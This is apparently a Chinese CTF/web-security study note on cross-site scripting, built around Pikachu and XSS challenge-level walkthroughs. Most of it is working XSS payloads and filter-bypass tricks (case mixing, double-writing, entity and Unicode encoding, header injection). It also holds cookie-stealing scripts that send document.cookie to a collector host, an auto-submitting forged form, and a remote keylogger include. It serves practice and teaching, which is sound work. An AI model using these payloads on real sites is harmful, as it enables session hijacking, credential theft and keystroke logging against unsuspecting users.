XSS跨站脚本攻击

XSS 完全指南 - CTF-Web修炼手册

XSS跨站脚本攻击

XSS介绍
什么是xss?

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。
XSS危害

通过document.cookie盗取cookie中的信息。
使用js或css破坏页面正常的结构与样式。
流量劫持(通过访问某段具有window.location.href定位到其他页面)。
dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。并且通过携带过程的 cookie信息可以使服务端返回400开头的状态码,从而拒绝合理的请求服务。
利用 iframe、frame、XMLHttpRequest或上述 Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作,并且攻击者还可以利用 iframe,frame进一步的进行 CSRF 攻击。
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力。

XSS的分类

反射型
一般来说这种类型的XSS,需要攻击者提前构造一个恶意链接,来诱使客户点击,比如这样的一段链接:www.abc.com/?params=x。
存储型
这种类型的XSS,危害比前一种大得多。比如一个攻击者在论坛的楼层中包含了一段JavaScript代码,并且服务器没有正确进行过滤输出,那就会造成浏览这个页面的用户执行这段JavaScript代码。
DOM型
这种类型则是利用非法输入来闭合对应的html标签。

常用XSSpayload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<image src=1 onerror=alert(1)>
<body onload=alert(1)> // 在页面加载完成后执行onload指定的函数
<svg onload=alert(1)> // 在SVG图像加载完成后执行onload指定的函数
<iframe/onload=alert(1)></iframe> // <iframe>标签是用于在网页中嵌入其他网页或文档的元素,onload事件是在<iframe>加载完成后触发的事件。
<body onload=“windows.open('https://www.baidu.com')”> // 加载百度页面

<body onload='console.log(1)'> // 控制台打印1
<body onload='console.info(1)'>
<body onload='console.error(1)'>

绕过方法
过滤空格,用/、Tab(%09)或者/**/代替空格,如<body/onload=alert(1)>
过滤alert,用top['aler'+'t']绕过
过滤 alert(),用top['aler'+'t'].call 绕过

反射型XSS或不持久型XSS(中低危)

交互的数据一般不会被存在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性的,所见即所得

存储型XSS或持久型XSS(高危)

交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性

测试有没有XSS漏洞

1
<script>alert(123);</script>

进行弹框测试

1
<a href="">xxx</a>
1
2
3
'><img src="#" onmouseover="alert('xss')">
' onclick="alert(1111)"
' onclick="alert('xss')">

DOM XSS(中低危)

通过前端的dom节点形成的XSS漏洞,一般不与后台服务器产生数据交互,属于中低危漏洞

image-20250710202724007

可能触发DOM型XSS的js操作:

1
2
3
4
5
document.referer
window.name
location
innerHTML
document.write

xx’ onclick=”alert(‘xss’)”>

攻击方法 ' "><script>confirm(1)</script>,其中' "为闭合符号,后面跟script标签来进行攻击

攻击手段

Xss payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<script>alert('Zer0Lulz')</script>
<ScRiPt>ALErT('XSS')</ScRiPt>
"><script>alert('XSS')</ScRiPt>
"><ScRiPt>ALErT('XSS')</ScRiPt>
=><><script>alert('XSS')</script>
=><><ScRiPt>ALErT('XSS')</ScRiPt>
="><ScRiPt>ALErT('XSS')</ScRiPt>
="><script>alert('XSS')</ScRiPt>
='><script>alert('XSS')</script>
='><ScRiPr>ALErT('XSS')</ScRiPt>
="><<script>alert('XSS')</script>
="><<ScRiPt>ALErT('XSS')</ScRiPt>
='><<script>alert('XSS')</script>
='><<ScRiPt>ALErT('XSS')</ScRiPt>
<script>alert(String.fromCharCode(88,83,83)</script>
<ScRiPt>ALErT(String.fromCharCode(88,83,83)</ScRiPt>
"><script>alert(String.fromCharCode(88,83,83)</script>
"><ScRiPt>ALErT(String.fromCharCode(88,83,83)</ScRiPt>
=><><script>alert(String.fromCharCode(88,83,83)</script>
=><><ScRiPt>ALErT(String.fromCharCode(88,83,83)</ScRiPt>
="><script>alert(String.fromCharCode(88,83,83)</script>
="><ScRiPT>ALErT(String.fromCharCode(88,83,83)</ScRiPt>
='><script>alert(String.fromCharCode(88,83,83)</script>
='><ScRiPt>ALErT(String.fromCharCode(88,83,83)</ScRiPt>

XSS可能存在的地方

只要是有用户输入输出,用户交互等一些地方,都可能存在xss漏洞

参考xss跨站脚本攻击文档

image-20250718211405053

image-20250718211418961

image-20250718211433472

image-20250718211502973

XSS测试方法

1.工具扫描:APPscan AWVS xray都大型漏洞工具,xsstrike等自动化小工具

http://github.com/s0md3v/XSStrike

实战

xss平台搭建及后台使用(cookie获取)

存储型

过程:想要盗取别人的cookie信息的话有一个前提条件就是你应该在别人触发你的xss攻击时,你的代码应该将收集的cookie信息发送给你的平台来接收,这样才获取到了数据

1
2
'"><script>document.location = 'http://192.168.0.15/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
//通过document.location 实例进行重定向到http://192.168.0.15/pikachu/pkxss/xcookie/cookie.php?cookie=

image-20250719001155982

image-20250719001007252

image-20250719001025042

因为是存储型xss 写入的js代码被存储会一直执行 所以要进数据库删除一下

image-20250719001504342

反射型XSS Cookie获取 需要伪造一个html文件 让别人错误访问

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.4/pikachu/vul/xss/xsspost/xss_reflected_post.php">
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://192.168.1.15/pkxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

<!--
*
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->

xss获取键盘记录

1
'"><script src="http://127.0.0.1/pikachu/pkxss/rkeypress/rk.js"></script>

打开下面文件 修改一些ip地址

C:\phpstudy_pro\WWW\pikachu\pkxss\rkeypress

image-20250719100418094

存储型界面输入上述js代码 新开一个网页输入数据 去pikachu的键盘记录里就可以看到

image-20250719100916143

XSS盲打

xss盲打就是攻击者在前端提交的数据不知道后台是否存在xss漏洞的情况下,提交恶意js代码在类似留言板等输入框后,所展现的后台位置的情况下,网站采用了攻击者插入的恶意代码,当后台管理员在操作时就会触发插入的恶意代码,从而达到攻击者的目的。也就是通过前端插入攻击代码,在后台管理系统中生效。

管理员地址:http://127.0.0.1/pikachu/vul/xss/xssblind/admin.php

pikachu盲打:

1
1111'"><script>alert(666)</script>

xss绕过

XSS常规防范

xss防御的总体思路是:对输入进行过滤,特殊符号,单引号,双引号,尖括号之类的,对输出进行编码过滤:根据业务需求,比如输出点要求输入手机号,则只允许输入手机号格式的数字。

转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html实体转义,输入到js里面进行js转义

image-20250719102849077

image-20250719102924074

image-20250719104611859

大小写绕过 复写绕过

或者不用script标签 用 img iframe标签之类的

1
<img src=# onerror="alert('jaden')"/>

编码绕过

image-20250719105612195

image-20250719110227466

image-20250719110248921

xss绕过之htmlspecialchars()函数

php里面的这个htmlspecialchars()函数把一些预定义的字符串转换为HTML实体

1
2
3
4
5
6
7
8
预定义的字符是:这就是我们学到的html编码
&(和号)成为&amp
" &quot
' &#039
< &lt
> &gt
导致你提交的script标签再输出的时候变成了
&ltscript&gt

该函数的语法:htmlspecilachars(string,flags,character-set,double_encode)

过滤原理:htmlspecialchars()函数把预定义的字符串转换为HTML实体,从而使XSS攻击失败,但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

可用quotestyle类型:

ENT-COMPAT -默认。仅编码双引号,也就是默认情况下不对单引号进行处理

ENT_QUOTES -编码单引号和双引号

ENT_NOQUOTES -不编码任何引号

1
2
3
4
5
6
7
8
9
10
' onclick='alert(123)'    仅编码双引号
xss之href输出绕过 加了ENT_QUOTES 编码单引号和双引号
用js协议绕过
javascript:alert(1111)
javascript:alert('jaden') 单引号在函数里 被当成一个值了所以没影响
javascript:alert(/jaden/) /正则规则/
#对alert中的内容进行Unicode编码,也就是所谓的js编码
javascript:alert(\u0031\u0031\u0031\u0031) #不需要引号的数字弹框时,解码之后不能弹框
javascript:alert(/\u006a\u0061\u0064\u0065\u006e/) 外层是/的话内容不能正常解析,但是可以弹框
javascript:alert('\u006a\u0061\u0064\u0065\u006e') 外层是引号的话,内容也可以正常解析,并且有弹框

image-20250719154944860

image-20250719155729967

xss之js输出

1
</script><script>alert('111')</script>

image-20250719162240176

先加一个

1
</script>  闭合一下  再输入js代码

同源和跨域

image-20250719165112400

image-20250719165552077

XSS靶场练习

第一关

没有任何防范

1
<script>alert(123)</script>

第二关

1
<script>alert(123)</script>

image-20250719170501868

image-20250719170707688

用单双引号 > 闭合一下

1
'"><script>alert(123)</script>

image-20250719170757851

第三关

1
jaden'"><script>alert(123)</script>

测试image-20250719170909041

htmlspecialchars()绕过

1
' onclick='alert(123)'

搜索之后再点击一下输入框

image-20250719171048516

input事件可以用onclick事件和onfocus,onblur事件触发

1
2
3
' onfocus='alert(123)'
' onblur='alert(123)' 点输入框后再点外面
' onblur='javascript:alert("jaden")'

第四关

双引号闭合

1
'" onclick='alert(123)'

第五关

1
' onblur='alert(123)'

image-20250719172258790

1
2
'"><a href='javascript:alert(123)'>
'"><a href='javascript:alert(123)'>da</a>

image-20250719172558552

第六关

image-20250719172815351

image-20250719172850881

大小写混合绕过

1
'"><a hREf='javascript:alert(123)'>da</a>

第七关

1
'"><a hREf='javascript:alert(123)'>da</a>

image-20250719173015662

href 和 script被替换 双写

1
'"><a hrhrefef='javascrscriptipt:alert(123)'>da</a>

image-20250719173147469

第八关

1
'"><a hREf='javascript:alert(123)'>da</a>

image-20250719173326920

编码绕过

javascript:alert(“jaden”)

image-20250719173502572

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#106;&#97;&#100;&#101;&#110;&#34;&#41;

image-20250719173638660

第九关

image-20250719173818861

判断了http协议 再利用注释符绕过

1
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#50;&#51;&#41;//http://

image-20250719174112530

第十关

没有输入框 源码里还有三个参数 测试哪个可以利用

1
?name=jaden&t_link=aa&bb&t_sort=cc

image-20250720093626762

发现cc输出 利用 to_sort

1
?name=jaden&t_link=aa&bb&t_sort='" onclick='alert(123)'

hidden 会讲输入框隐藏 在查看器里删除hidden 出现输入框

image-20250720094502982

第十一关

要改referer请求头

bp抓包一下修改

image-20250720095523161

image-20250720095532853

可以发现成功写入了 删除hidden 点击

第十二关

image-20250720095655372

这一关是UA头

改User-Agent头为 ‘“ onclick=’alert(123)’

image-20250720095735457

第十三关

image-20250720095824775

这里是cookie

image-20250720095906631

image-20250720095914319